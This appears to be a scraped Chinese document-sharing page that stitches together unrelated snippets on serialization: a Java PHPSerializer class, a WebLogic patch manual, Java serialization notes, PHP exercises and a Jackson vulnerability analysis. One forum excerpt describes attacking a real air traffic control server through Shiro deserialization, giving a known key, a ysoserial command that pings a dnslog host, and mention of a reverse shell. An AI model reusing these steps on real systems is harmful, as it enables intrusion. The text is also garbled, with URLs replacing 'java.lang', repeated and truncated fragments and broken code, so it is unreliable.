将php序列化到数据库的对象饭序列化成java对象
将php序列化到数据库的对象饭序列化成java对象
php的对象序列化到数据库中，形如
a:3:{i:0;i:1241;i:1;i:4;i:2;i:16;}但是java需要取出这样的对象，转换成java的对象/* PHPSerializer.java
*
* Author: Ma Bingyao
* Copyright: https://www.360docs.net/doc/2711915331.html,
* Version: 2.1
* LastModified: 2006-08-09
* This library is free. You can redistribute it and/or modify it.
* https://www.360docs.net/doc/2711915331.html,/?p=202
*/
package org.phprpc.util;
import java.io.*;
import java.util.*;
import https://www.360docs.net/doc/2711915331.html,ng.reflect.*;
class UnSerializeResult {
public Object value;
public int hv;
public UnSerializeResult() {}
public UnSerializeResult(Object value, int hv) { this.value = value;
this.hv = hv;
}
}
public class PHPSerializer {
private static Package[] __packages = Package.getPackages();
private static final byte __Quote = 34;
private static final byte __0 = 48;
private static final byte __1 = 49;
private static final byte __Colon = 58;
private static final byte __Semicolon = 59; private static final byte __C = 67;
private static final byte __N = 78;
private static final byte __O = 79;
private static final byte __R = 82;
private static final byte __U = 85;
private static final byte __Slash = 92;
private static final byte __a = 97;
private static final byte __b = 98;
private static final byte __d = 100;
private static final byte __i = 105;
private static final byte __r = 114;
private static final byte __s = 115;
private static final byte __LeftB = 123;
private static final byte __RightB = 125;
private static final String __NAN = new String("NAN"); private static final String __INF = new String("INF"); private static final String __NINF = new String("-INF"); private PHPSerializer() {}
public static byte[] serialize(Object obj) {
return serialize(obj,"UTF-8");
}
public static byte[] serialize(Object obj, String charset) {
HashMap ht = new HashMap();
int hv = 1;
ByteArrayOutputStream stream = new ByteArrayOutputStream();
hv = serialize(stream, obj, ht, hv, charset);
byte[] result = stream.toByteArray();
try {
stream.close();
} catch (Exception e) {}
return result;
}
public static int serialize(ByteArrayOutputStream stream, Object obj, HashMap ht, int hv, String charset) {
if (obj == null) {
hv++;
writeNull(stream);
} else {
if (obj instanceof Boolean) {
hv++;
writeBoolean(stream, ((Boolean) obj).booleanValue() ? __1 : __0);
} else if ((obj instanceof Byte) || (obj instanceof Short) || (obj instanceof Integer)) {
hv++;
writeInteger(stream, getBytes(obj));
} else if (obj instanceof Long) {
hv++;
writeDouble(stream, getBytes(obj));
} else if (obj instanceof Float) {
hv++;
Float f = (Float) obj;
if (f.isNaN()) {
writeDouble(stream, getBytes(__NAN));
} else if (f.isInfinite()) {
if (f.floatValue() > 0) {
writeDouble(stream, getBytes(__INF));
} else {
writeDouble(stream, getBytes(__NINF));
}
} else {
writeDouble(stream, getBytes(f));
}
} else if (obj instanceof Double) {
hv++;
Double d = (Double) obj;
if (d.isNaN()) {
writeDouble(stream, getBytes(__NAN));
} else if (d.isInfinite()) {
if (d.doubleValue() > 0) {
writeDouble(stream, getBytes(__INF));
} else {
writeDouble(stream, getBytes(__NINF));
}
} else {
writeDouble(stream, getBytes(d));
}
} else if ((obj instanceof Character) || (obj instanceof String)) {
hv++;
writeString(stream, getBytes(obj, charset));
} else if (obj.getClass().isArray()) {
if (ht.containsKey(new Integer(obj.hashCode()))) { writePointRef(stream, getBytes(ht.get(new
Integer(obj.hashCode()))));
} else {
ht.put(new Integer(obj.hashCode()), new Integer(hv++)); hv = writeArray(stream, obj, ht, hv, charset);
}
} else if (obj instanceof ArrayList) {
if (ht.containsKey(new Integer(obj.hashCode()))) { writePointRef(stream, getBytes(ht.get(new
Integer(obj.hashCode()))));
} else {
ht.put(new Integer(obj.hashCode()), new Integer(hv++)); hv = writeArrayList(stream, (ArrayList) obj, ht, hv, charset);
}
} else if (obj instanceof HashMap) {
if (ht.containsKey(new Integer(obj.hashCode()))) { writePointRef(stream, getBytes(ht.get(new
Integer(obj.hashCode()))));
} else {
ht.put(new Integer(obj.hashCode()), new Integer(hv++));
hv = writeHashMap(stream, (HashMap) obj, ht, hv, charset);
}
} else {
if (ht.containsKey(new Integer(obj.hashCode()))) {
hv++;
writeRef(stream, getBytes(ht.get(new
Integer(obj.hashCode()))));
} else {
ht.put(new Integer(obj.hashCode()), new Integer(hv++)); hv = writeObject(stream, obj, ht, hv, charset);
}
}
}
return hv;
}
private static void writeNull(ByteArrayOutputStream stream) {
stream.write(__N);
stream.write(__Semicolon);
}
private static void writeRef(ByteArrayOutputStream stream, byte[] r) {
stream.write(__r);
stream.write(__Colon);
stream.write(r, 0, r.length);
stream.write(__Semicolon);
}
private static void writePointRef(ByteArrayOutputStream stream, byte[] p) {
stream.write(__R);
stream.write(__Colon);
stream.write(p, 0, p.length);
stream.write(__Semicolon);
}
private static void writeBoolean(ByteArrayOutputStream stream, byte b) {
stream.write(__b);
stream.write(__Colon);
stream.write(b);
stream.write(__Semicolon);
}
private static void writeInteger(ByteArrayOutputStream stream, byte[] i) {
stream.write(__i);
stream.write(__Colon);
stream.write(i, 0, i.length);
stream.write(__Semicolon);
}
private static void writeDouble(ByteArrayOutputStream stream, byte[] d) {
stream.write(__d);
stream.write(__Colon);
stream.write(d, 0, d.length);
stream.write(__Semicolon);
}
private static void writeString(ByteArrayOutputStream stream, byte[] s) {
byte[] slen = getBytes(new Integer(s.length));
stream.write(__s);
stream.write(__Colon);
stream.write(slen, 0, slen.length);
stream.write(__Colon);
stream.write(__Quote);
stream.write(s, 0, s.length);
stream.write(__Quote);
stream.write(__Semicolon);
}
private static int writeArray(ByteArrayOutputStream stream, Object a, HashMap ht, int hv, String charset) { int len = Array.getLength(a);
byte[] alen = getBytes(new Integer(len));
stream.write(__a);
stream.write(__Colon);
stream.write(alen, 0, alen.length);
stream.write(__Colon);
stream.write(__LeftB);
for (int i = 0; i < len; i++) {
writeInteger(stream, getBytes(new Integer(i)));
hv = serialize(stream, Array.get(a, i), ht, hv, charset); }
stream.write(__RightB);
return hv;
}
private static int writeArrayList(ByteArrayOutputStream stream, ArrayList a, HashMap ht, int hv, String charset) { int len = a.size();
byte[] alen = getBytes(new Integer(len));
stream.write(__a);
stream.write(__Colon);
stream.write(alen, 0, alen.length);
stream.write(__Colon);
stream.write(__LeftB);
for (int i = 0; i < len; i++) {
writeInteger(stream, getBytes(new Integer(i)));
hv = serialize(stream, a.get(i), ht, hv, charset);
}
stream.write(__RightB);
return hv;
}
private static int writeHashMap(ByteArrayOutputStream stream, HashMap h, HashMap ht, int hv, String charset) { int len = h.size();
byte[] hlen = getBytes(new Integer(len));
stream.write(__a);
stream.write(__Colon);
stream.write(hlen, 0, hlen.length);
stream.write(__Colon);
stream.write(__LeftB);
for (Iterator keys = h.keySet().iterator(); keys.hasNext();) { Object key = keys.next();
if ((key instanceof Byte) || (key instanceof Short)
|| (key instanceof Integer)) {
writeInteger(stream, getBytes(key));
} else if (key instanceof Boolean) {
writeInteger(stream, new byte[] { ((Boolean)
key).booleanValue() ? __1 : __0 });
} else {
writeString(stream, getBytes(key, charset));
}
hv = serialize(stream, h.get(key), ht, hv, charset);
}
stream.write(__RightB);
return hv;
}
private static int writeObject(ByteArrayOutputStream stream, Object obj, HashMap ht, int hv, String charset) { Class cls = obj.getClass();
if (obj instanceof java.io.Serializable) {
byte[] className = getBytes(getClassName(cls), charset);
byte[] classNameLen = getBytes(new
Integer(className.length));
if (obj instanceof org.phprpc.util.Serializable) {
byte[] cs = ((org.phprpc.util.Serializable) obj).serialize(); byte[] cslen = getBytes(new Integer(cs.length));
stream.write(__C);
stream.write(__Colon);
stream.write(classNameLen, 0, classNameLen.length); stream.write(__Colon);
stream.write(__Quote);
stream.write(className, 0, className.length); stream.write(__Quote);
stream.write(__Colon);
stream.write(cslen, 0, cslen.length);
stream.write(__Colon);
stream.write(__LeftB);
stream.write(cs, 0, cs.length);
stream.write(__RightB);
} else {
Method __sleep;
try {
__sleep = cls.getMethod("__sleep", new Class[0]);
} catch (Exception e) {
__sleep = null;
}
int fl = 0;
Field[] f;
if (__sleep != null) {
String[] fieldNames;
try {
__sleep.setAccessible(true);
fieldNames = (String[]) __sleep.invoke(obj, new Object[0]);
} catch (Exception e) {
fieldNames = null;
}
f = getFields(obj, fieldNames);
} else {
f = getFields(obj);
}
AccessibleObject.setAccessible(f, true);
byte[] flen = getBytes(new Integer(f.length));
stream.write(__O);
stream.write(__Colon);
stream.write(classNameLen, 0, classNameLen.length); stream.write(__Colon);
stream.write(__Quote);
stream.write(className, 0, className.length); stream.write(__Quote);
stream.write(__Colon);
stream.write(flen, 0, flen.length);
stream.write(__Colon);
stream.write(__LeftB);
for (int i = 0, len = f.length; i < len; i++) {
int mod = f[i].getModifiers();
if (Modifier.isPublic(mod)) {
writeString(stream, getBytes(f[i].getName(), charset)); } else if (Modifier.isProtected(mod)) {
writeString(stream,
getBytes("*"+ f[i].getName(), charset));
} else {
writeString(stream,
getBytes(
""+ getClassName(f[i].getDeclaringClass())
+""+ f[i].getName(),
charset));
}
Object o;
try {
o = f[i].get(obj);
} catch (Exception e) {
o = null;
}
hv = serialize(stream, o, ht, hv, charset); }
stream.write(__RightB);
}
} else {
writeNull(stream);
}
return hv;
}
private static byte[] getBytes(Object obj) { try {
return obj.toString().getBytes("US-ASCII");
} catch (Exception e) {
return obj.toString().getBytes();
}
}
private static byte[] getBytes(Object obj, String charset) { try {
return obj.toString().getBytes(charset);
} catch (Exception e) {
return obj.toString().getBytes();
}
}
private static String getString(byte[] data, String charset) { try {
return new String(data, charset);
} catch (Exception e) {
return new String(data);
}
}
private static Class getClass(String className) {
try {
Class cls = Class.forName(className);
return cls;
} catch (Exception e) {}
for (int i = 0; i < __packages.length; i++) {
try {
Class cls = Class.forName(
__packages[i].getName() +"."+ className);
return cls;
} catch (Exception e) {}
}
return null;
}
private static String getClassName(Class cls) {
return
cls.getName().substring(cls.getPackage().getName().lengt h() + 1);
}
WebLogic 组件反序列化漏洞补丁升级操作手册
weblogic反序列化补丁安装 梁裕 1、到weblogic官网下载补丁包（p2*******_1036_Generic.zip、 p2*******_1036012_Generic.zip如果找不到的朋友，可以在回复中给我留下邮箱，我会定期回复。） 2、10.3.6对应的补丁包p2*******_1036012_Generic.zip ，补丁包需要依赖于一个大的升级 包，所以需要把p2*******_1036_Generic.zip也下载下来。 3、登录linux的weblogic用户，切换到/home/weblogic/Oracle/Middleware/utils/bsu/目录下。 4、确认当前weblogic版本,并确认所有域的进程全部关闭 ./bsu.sh -prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3/ -status=applied -verbose –view 5、查看是否存在/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir 目录，没有的需要 手工创建。 6、将补丁包上传到/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir目录下 7、首先打大的升级包，解压p2*******_1036_Generic.zip unzip p2*******_1036_Generic.zip EJUW对应就是后面命令的patchlist 8、执行补丁安装命令。 ./bsu.sh -install -patch_download_dir=/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir -patchlist=EJUW-prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3 –verbose 9、打序列化的补丁包，解压p2*******_1036012_Generic.zip unzip p2*******_1036012_Generic.zip ./bsu.sh -install -patch_download_dir=/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir -patchlist=ZLNA-prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3 –verbose 10、在打ZLNA补丁包时，遇到了内存溢出的问题。需要修改bsu.sh脚本，将内存调大。 11、启动weblogic的域，查看输出日志。确定版本是否生效。
java序列化的作用
最近在阅读Core J2EE Patterns 的时候发现例子里用于在各个层次里进行传输的TO（Data Transfer Object）都实现了java.io.Serializable接口，看到这些偶突然感到茅塞顿开～困扰了很久的关于Serializable的疑问渐渐解开了，查找相关资料并总结如下： 序列化是什么： 序列化就是将一个对象的状态（各个属性量）保存起来，然后在适当的时候再获得。 序列化分为两大部分：序列化和反序列化。序列化是这个过程的第一部分，将数据分解成字节流，以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示，有时还要恢复数据。恢复数据要求有恢复数据的对象实例 序列化的什么特点： 如果某个类能够被序列化，其子类也可以被序列化。声明为static和transient类型的成员数据不能被序列化。因为static代表类的状态， transient代表对象的临时数据。 什么时候使用序列化： 一：对象序列化可以实现分布式对象。主要应用例如：RMI要利用对象序列化运行远程主机上的服务，就像在本地机上运行对象时一样。 二：java对象序列化不仅保留一个对象的数据，而且递归保存对象引用的每个对象的数据。可以将整个对象层次写入字节流中，可以保存在文件中或在网络连接上传递。利用对象序列化可以进行对象的"深复制"，即复制对象本身及引用的对象本身。序列化一个对象可能得到整个对象序列。 ====================== 可以看看接口java.io.serializable的中文解释： Serializable public interface Serializable 类通过实现 java.io.Serializable 接口以启用其序列化功能。未实现此接口的类将无法使其任何状态序列化或反序列化。可序列化类的所有子类型本身都是可序列化的。序列化接口没有方法或字段，仅用于标识可序列化的语义。
PHP编程题
●PHP用一个for循环输出以下符号： ◆◇◇◇◇ ◆◆◇◇◇ ◆◆◆◇◇ ◆◆◆◆◇ ◆◆◆◆◆ = 4;$i --) { echo mb_substr($str,$i-4,5,"gbk")."
";/*mb_substr()求子串函数 P323*/ } ?> "; } ?> ●$a = array(“工作”, “生活”) $b = array(“爱情”, “兴趣” ) 如何输出字符串（其中代码部分不 能有中文）。 "; echo implode("",$b)."
"; ?> ●用一个for循环求出1+22+333+4444+……+999999999
$s = $i; $str += str_pad($s,$i,$i);//str_pad()字符串填充函数 P311 } echo$str; ?> 编写一个函数，实现以下功能：将字符串”open_door”转换成”OpenDoor”, “make_by_id”转换成”MakeById” "; } $arry1 = "open_door"; $arry2 = "make_by_id"; test($arry1); test($arry2); ?>
C++序列化反序列化库Kapok
C++序列化/反序列化库Kapok 1.Kapok的特点 简单，易用，header-only，只需要引用Kapok.hpp即可；高效，初步测试性和messagepack 相当。 它是纯c++11实现，因此需要支持C++11的编译器。 2.主要功能 对对象进行自动化的序列化和反序列化，用起来非常简单，先来看个序列化/反序列化一个tuple的例子吧。 //序列化 Serializer sr; auto tp = std::make_tuple(10, 12, string("test")); sr.Serialize(tp, "tuple"); //反序列化 DeSerializer dr; std::tuple
Person person; dr.Parse(sr.GetString()); dr.Deserialize(person, "Person"); 一样的很简单，结构这里需要一个宏定义META，这个META的作用就是获取对象的元信息，有了这个元信息我们就可以很方便的实现序列化和反序列化了。 3.应用场景 Kapok除了不支持指针之外所有的对象都支持，支持结构体的无限嵌套（被嵌套的结构体也必须定义META宏）。这里说一下为什么不支持指针呢，因为对象中有指针的话存在两个问题：1.这个指针如果是动态数组的话，c++中无法获取这个数组的长度；2.指针还涉及到内存管理，我希望Kapok专注于序列化和/反序列化，暂时不考虑内存管理。 4.结构体必须有一个宏定义是否具有侵入性？ 看起来每个序列化/反序列化的对象都要带一个宏定义似乎侵入性较强，但这种侵入性是完全无害的，因为它只是定义了一个额外的函数而已，这个函数只会在序列化/反序列化的时候才会用到，不会对当前对象造成任何影响，还有一点是因为c++没有反射，必须要通过某种方法来获取对象的元信息，纵观目前所有的序列化方案，只有这种方式是最简洁的，用户做最少的事情即可，这也是我选择这种方式的原因。 5.Kapok是如何实现序列化/反序列化的 Kapok的最底层是用到了rapidjson, 用它来实现对基本类型的序列化，对它做了一个简单的封装以便供上层使用，上面层就是序列化\反序列化实现层，主要是实现对对象元信息的解析和自动化的打包和解包。下面是Kapok序列化的一个示意图： 6.Kapok的性能如何 初步测试对一个tuple进行序列化/反序列化一万次，发现Kapok的耗时和messagepack相当。 7.Kapok是否支持多语言 暂时不支持，先把c++版本做好再说，如果要支持多语言的话，需要用其它语言进行重写，
JAVA序列化基础知识Serializable与Externalizable的区别
大家都知道Serializable是一个mark interface,告诉JVM这个对象可以被转换成二进制流来传输. 但是Serializable与Externalizable的转换二进制流的过程是不一样的. Serializable 在我们实现这个接口的时候,我们可以使用4个私有方法来控制序列化的过程: 我们来看一个例子: public class FooImpl implements java.io.Serializable{ private String message; public String getFoo() { return message; } public void setMessage(String message) { this.message = message; } private void writeObject(java.io.ObjectOutputStream out) throws IOException { System.out.println("writeObject invoked"); out.writeObject(this.message == null ? "hohohahaha" : this.message); } private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { System.out.println("readObject invoked"); this.message = (String) in.readObject(); System.out.println("got message:" + message); } private Object writeReplace() throws ObjectStreamException { System.out.println("writeReplace invoked"); return this; } private Object readResolve() throws ObjectStreamException { System.out.println("readResolve invoked"); return this; }
Apache Shiro反序列化远程代码执行-其他利用姿势
12下一页 返回列表 回复发帖 帖子2 积分1 TCV0 TuBi1 坛龄84天 1# 跳转到? 倒序看帖 打印字体大小: T00LS ? 渗透测试文章(Security Articles) ? 投稿文章：通过Shiro反序列化拿下某空管局服务器root权限 steven 新手上路 发表于 所需阅读权限 20 [【原创】]投稿文章：通过Shiro反序列化拿下某空管局服务器root 权限 xuehei|提醒短消息论坛任务|个人中心退出 首页版块搜索银行T00ls工具帮助
目标站返回rememberMe的cookie字段或者在请求包中含有rememberMe的cookie字段的时候,说明该目标站是用了shiro框架漏洞利用 ①猜解密钥 前文中提到的硬编码的密钥,在实际生产环境中不同的项目可能会存在不同的密钥(key),从github上搜集了部分常用的key用于猜解,这里用到dnslog来判断是否成功. 可以看到当Key为kPH+bIxk5D2deZiIxcaaaA==时,服务器收到了目标站的请求,这里我们可以确定该站的key为 kPH+bIxk5D2deZiIxcaaaA== ②命令执行 这里我们利用ysoserial工具进行漏洞利用. 在服务器上执行 java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'ping -c 1 sl0437.ceye.io' 可以看到已经接收到了目标站的请求,并且payload发送给目标站以后成功执行了ping命令.说明目标站CommonsCollections1存在反序列化漏洞 ③反弹shell 在实战中发现,虽然可以成功执行命令了,但是由于runtime等环境因素并不能直接反弹shell,这个可以采用先下载后运行的方式.
PHP学习课程体系
课程学习体系 课程 名称 前段+后端+二次开发+网络营销 课程描述 HTML、CSS、Div+CSS布局、Javascript脚本、Dreamwaver的使用、Photoshop的使用，专业网络公司网页调试技巧，掌握高效、快速、协作的项目流程,具备独立动手能力，积累真实项目实际开发经验，由浅入深、全面详解网站建设开发中前端布局的技巧，内容涵盖了基本概念、高级应用、实战经验与技巧等。授课过程中通过现场实操结合课后作业的方式，来帮助学员对Web应用知识的理解和实战技能的提升。 WAMP （Windows+Apache+Mysql+PHP）环境配置及调试技巧、PHP数据类型及运算类型、PHP语句、函数及数组的应用、 MYSQL在PHP5的应用、SQL语句、PHPMyadmin应用、Cookie、Session、会话控制及认证技术、PHP上传技术、PHP面向对象基础、Smarty应用及缓存技术、内置函数、缓存应用、正则表达式、数据合法性校验、Ajax无刷新技术、JavaScript对象标记(JSON)、DOM、数据采集系统，了解国内外PHP开源产品，熟悉ZendStudio 开发工具，掌握中型网站技术解决方案，熟悉使用优秀版本控制系统SVN（ Subversion）管理文件版本，并结合Mysql数据库、Smarty模板、SVN版本控制、Apache部署、后台管理等技术与工具，针对不同的行业需求，使用其核心技术开发企业级的综合性网站。学员可分享成功案例的经验与不足，进一步提升自身的实战技能从而成为构建企业级综合性动态网站的精英！掌握国内外PHP开源产品的开发思想及设计理念，并对DedeCMS其进行二次开发。掌握MVC的设计模式，熟悉国内外的流行框架 Codeigniter下开发不同的网站了解Linux的基本操作及Linux 下PHP 环境的安装掌握国内外PHP开源产品的开发思想及设计理念，并对其进行二次开发。主要涉及的产品有：Decorums,Ecshop,Discuz! X从网站策划到网络推广，从营销策略到营销技巧，课程涉及SEO、百度竞价、QQ推广、论坛推广、博客推广、SNS推广、百度知道推广、分类信息网站推广、百度百科推广、博客营销、论坛营销、新闻营销、电子邮件营销、视频营销、网络游戏植入营销、事件营销、口碑营销、病毒营销、数据库营销、微博营销、微信营销等内容，囊括了现今的所有网络营销方法。 课程要求 高中以上学历，电脑日常操作熟练，不要求编程经验，零基础开始。只要对电脑有兴趣，想有一份高薪行业，有兴趣来学，不管你以前是学什么的，也不管你以前是做什么的。 培训承诺● 使用LAMP技术独立规划建设企业级网站，带领团队科学设计开发● 参与公司网建部的项目开发，直接赚取学费 ● 培训过程提供网络公司盖章的实习证明 ● 一年内免费重听 ● 包学会 ● 全程班学员100%保障就业 获得证书● 获取文豆PHP高级工程师证书 ● 获得ACI国际认证PHP高级工程师证书 就业方向● WEB平面设计师● 网页设计师 ● UI设计师
将php序列化到数据库的对象饭序列化成java对象
将php序列化到数据库的对象饭序列化成java对象 php的对象序列化到数据库中，形如 a:3:{i:0;i:1241;i:1;i:4;i:2;i:16;}但是java需要取出这样的对象，转换成java的对象/* PHPSerializer.java * * Author: Ma Bingyao * Copyright: https://www.360docs.net/doc/2711915331.html, * Version: 2.1 * LastModified: 2006-08-09 * This library is free. You can redistribute it and/or modify it. * https://www.360docs.net/doc/2711915331.html,/?p=202 */ package org.phprpc.util; import java.io.*; import java.util.*; import https://www.360docs.net/doc/2711915331.html,ng.reflect.*;
class UnSerializeResult { public Object value; public int hv; public UnSerializeResult() {} public UnSerializeResult(Object value, int hv) { this.value = value; this.hv = hv; } } public class PHPSerializer { private static Package[] __packages = Package.getPackages(); private static final byte __Quote = 34; private static final byte __0 = 48; private static final byte __1 = 49; private static final byte __Colon = 58; private static final byte __Semicolon = 59; private static final byte __C = 67; private static final byte __N = 78;
使用json-lib完成json的序列化和反序列化
使用json-lib完成json的序列化和反序列化2011-07-29 14:07:43 分类：默认分类 | 标签：软件 java json. json的序列化和反序列化在现在的javaweb中特别是ajax中使用的比较频繁，现在本人就这种技术提出自己的使用心得。 我的pojo对象的结构是这样的 部门表和员工表 1对多的关系 部门对象 public class Dept implements java.io.Serializable { private Integer depid;//部门ID private String depname;//部门名称 private Set emps = new HashSet(0);//员工集合 } 员工对象 public class Emp implements java.io.Serializable { private Integer empid;//员工id private Dept dept;//部门 private String empname;//员工名称 private Date birthday;//生日 } 1.json字符串序列化成对象 /** *通过json转换成对象 *@author凤生禾予 */ public void jsonToObject(){ Date d=new Date(); SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd"); StringBuffer str=new StringBuffer(); // json字符串 str.append("{empid:1,dept:{depid:1,depname:'开发部'},empname:'张三 ',birthday:'"+sdf.format(d)+"'}"); // 使用JSONObject将json序列化对象 JSONObject obj=JSONObject.fromObject(str.toString()); // 将JOSNObject对象转换成pojo对象 Emp emp=(Emp) JSONObject.toBean(obj,Emp.class); System.out.println(emp.getBirthday()); } 这里需要注意的是json字符串的写法以{}表示一个对象，字符串必须加引号
php中for循环制作年历
制作年历 2.1实训说明 2.1.1 实验背景 日历是一种记载日期等相关信息的出版物，通常每页显示一日信息的叫日历，每页显示一个月信息的叫月历，每页显示全年信息的叫年历。从日历的诞生至今，它有多种的呈现形式，如挂历、台历、年历卡、电子日历、万年历等。 2.1.2 功能描述 在生活中，日历对于人们的旅程规划、行程安排和工作计划等有着重要的作用。下面将使用现阶段学习过的知识来实现年历的制作。具体需求如下所示： ●根据用户输入的年份输出对应的年历 ●用户可输入年份的取值范围是1582~9999 ●判断31天的月份（1月、3月、5月、7月、8月、10月、12月） ●判断30天的月份（4月、6月、9月、11月） ●实现闰年2月29天，平年2月28天的功能 ●将日期按照对应的星期输出展示 ●按照3行4列的方式展示给定年份的年历 ●确定年历中每月的星期输出顺序为“日、一、二、三、四、五、六” 接下来对本阶段案例的实现思路进行系统的分析，将一个复杂的案例分解成多个阶段，逐一进行实现，具体如下图所示。 年历实现思路图 从上图可以清晰的看到，实现年历的制作流程共分为6个阶段，第1阶段和第2阶段的判断是为了确定第3阶段2月份的天数，闰年2月份29天，平年28天。接着在第4阶段将每月的1日设置为周天，使用0表示，周一到周六分别使用1~6表示，循环输出年历。然后利用蔡勒公式计算用户给定年份的1月1日对应的星期。最后对每月1号不是周日的月份日期，在输出前进行空白填充。
2.1.3 必备技术 (一)网页技术（HTML+CSS） 1.HTML网页构建的基本设计； 2.HTML网页样式的基本设计； (二)PHP开发语言 1.变量 2.运算符 3.if语句 4.for语句 2.1.4 学时分配 实训课程学时安排可参考下表。 2.1.5 实训目标 1.熟练掌握if、for、逻辑运算符的使用。 2.掌握编程实现网页年历的生成。 2.2准备开发环境 本项目支持如下软件版本的运行环境： ●Apache 2.2～2.4 ●PHP 5.3～7.1 ●支持WampServer、XAMPP等集成环境
Java-Jackson反序列化漏洞及挖洞思路
源码分析Jackson反序列化漏洞 前言： 本次分析从Java序列化和反序列化源码开始分析，进一步分析Jackson源码，找出造成漏洞的原因，最后以Jackson2.9.2版本，JDK1.80_171，resin4.0.52，CVE-2020-10673为例复现漏洞。 一．JA V A反序列化原理 1.1 Class对象 每一个类都有一个Class对象，Class对象包含每一个类的运行时信息，每一个类都有一个Class对象，每编译一个类就产生一个Class对象，Class类没有公共的构造方法，Class对象是在类加载的时候由JVM以及通过调用类加载器中的DefineClass()方法自动构造的，因此不能显式地声明一个Class对象。在类加载阶段，类加载器首先检查这个类的Class对象是否已经被加载。如果尚未加载，默认的类加载器就会根据类的全限定名查找.class文件。一旦某个类的Class对象被载入内存，我们就可以它来创建这个类的所有对象以及获得这个类的运行时信息。 获得Class对象的方法： 1).Class.forName(“类的全名”);//com.xx.xx.xx 2).实例对象.getClass() 3).类名.class 1.2反射 JA V A反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性；这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
实现Java反射机制的类都位于https://www.360docs.net/doc/2711915331.html,ng.reflect包中： 1).Class类：代表一个类 2).Field类：代表类的成员变量（类的属性） 3).Method类：代表类的方法 4).Constructor类：代表类的构造方法 5).Array类：提供了动态创建数组，以及访问数组的元素的静态方法 简单反射调用代码 Class clz=this.getClass(); Object obj= clz.getMethod("方法名",Class对象序列).invoke(this,Object参数序列); 1.3 反序列化 Java 序列化是指把Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中，ObjectOutputStream类的writeObject() 方法可以实现序列化。 Java 反序列化是指把字节序列恢复为Java 对象的过程，ObjectInputStream 类的readObject() 方法用于反序列化。 RMI：是Java 的一组拥护开发分布式应用程序的API，实现了不同操作系统之间程序的方法调用。值得注意的是，RMI 的传输100% 基于反序列化，Java RMI 的默认端口是1099 端口。 JMX：JMX 是一套标准的代理和服务，用户可以在任何Java 应用程序中使用这些代理和服务实现管理,中间件软件WebLogic 的管理页面就是基于JMX 开发的，而JBoss 则整个系统都基于JMX 构架。 只有实现了Serializable接口的类的对象才可以被序列化，Serializable 接口是启用其序列化功能的接口，实现java.io.Serializable 接口的类才是可序列化的，没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。 readObject() 方法的作用正是从一个源输入流中读取字节序列，再把它们反序列化为一个对象，并将其返回，readObject() 是可以重写的，可以定制反序列化的一些行为。 readObject()主要做的事情，其实就是读取正常应该被序列化的字段信息后，
java序列化原理与算法
Java序列化原理和算法 总结： java中序列化算法的顺序： 1、子类的类信息描述 2、子类的字段信息描述（如果遇到类对象的属性，暂时用string的指针表示） 3、父类的类信息描述 4、父类的字段信息描述 5、对父类的字段信息进行赋值 6、对子类的字段信息进行赋值 7、发现子类的字段为类对象时，描述该类对象，并查找该类对象的父类，以以上方式描述，然后赋值。 本文讲解了Java序列化的机制和原理。从文中你可以了解如何序列化一个对象，什么时候需要序列化以及Java序列化的算法。 有关Java对象的序列化和反序列化也算是Java基础的一部分，下面对Java序列化的机制和原理进行一些介绍。 Java序列化算法透析 Serialization（序列化）是一种将对象以一连串的字节描述的过程；反序列化deserialization 是一种将这些字节重建成一个对象的过程。Java序列化API提供一种处理对象序列化的标准机制。在这里你能学到如何序列化一个对象，什么时候需要序列化以及Java序列化的算法，我们用一个实例来示范序列化以后的字节是如何描述一个对象的信息的。 序列化的必要性 Java中，一切都是对象，在分布式环境中经常需要将Object从这一端网络或设备传递到另一端。 这就需要有一种可以在两端传输数据的协议。Java序列化机制就是为了解决这个问题而产生。如何序列化一个对象 一个对象能够序列化的前提是实现Serializable接口，Serializable接口没有方法，更像是个标记。 有了这个标记的Class就能被序列化机制处理。 import java.io.Serializable; class TestSerial implements Serializable { public byte version = 100; public byte count = 0; } 然后我们写个程序将对象序列化并输出。ObjectOutputStream能把Object输出成Byte流。 我们将Byte流暂时存储到temp.out文件里。 public static void main(String args[]) throws IOException { FileOutputStream fos = new FileOutputStream("temp.out");
PHP试题带答案
评卷人得分分）1分，共10一、是非题：（每题）（说明：认为陈述正确的在括号内打“√”；否则在括号内打“×” ）$_abc”不是合法的。（1．PHP中变量名“）数据库。（2．PHP只能使用Mysql）”开始。（3．PHP中的数组键必须为数字，且从“04．全等运算符“===”在比较时，只有在两者的数据类型和值都相同时才返回True。（） 5．“mysql_connect( )”与“@mysql_connect( )”没有任何区别。（） 6．使用continue语句可以实现PHP程序的跳转。（） 7．HTML中的Form表单数据必须使用Submit按钮才可以提交。（） 8．PHP中的die()和exit()都可以实现程序中止退出功能。（） 9．PHP程序中可以随时嵌入HTML代码和JS代码。（） 10．PHP中的Session功能可以完全不受制于客户端的Cookie设置。（） 评卷人得分 二、填空题：（每空1分，共10分） 1．HTML的Form表单中定义单选按钮需要使用INPUT的类型，定义复选按钮需要使用INPUT的类型。 2．PHP表达式10%值为，表达式10/值为。 3．Mysql数据库服务默认开放的端口号是，默认管理员为。4．为了能够避免SQL注入，你需要坚持。 5．表达式“”的值为。'Testing'.'3'+'5'.'12'6．PHP 函数中可以利用向外返回一个值，可以使用声明一 个全局变量。 评卷人得分30分）三、单选题：（每题2分，共（说明：将认为正确答案的字母填写在每小题后而的括号内） 1．
Java序列化的机制和原理
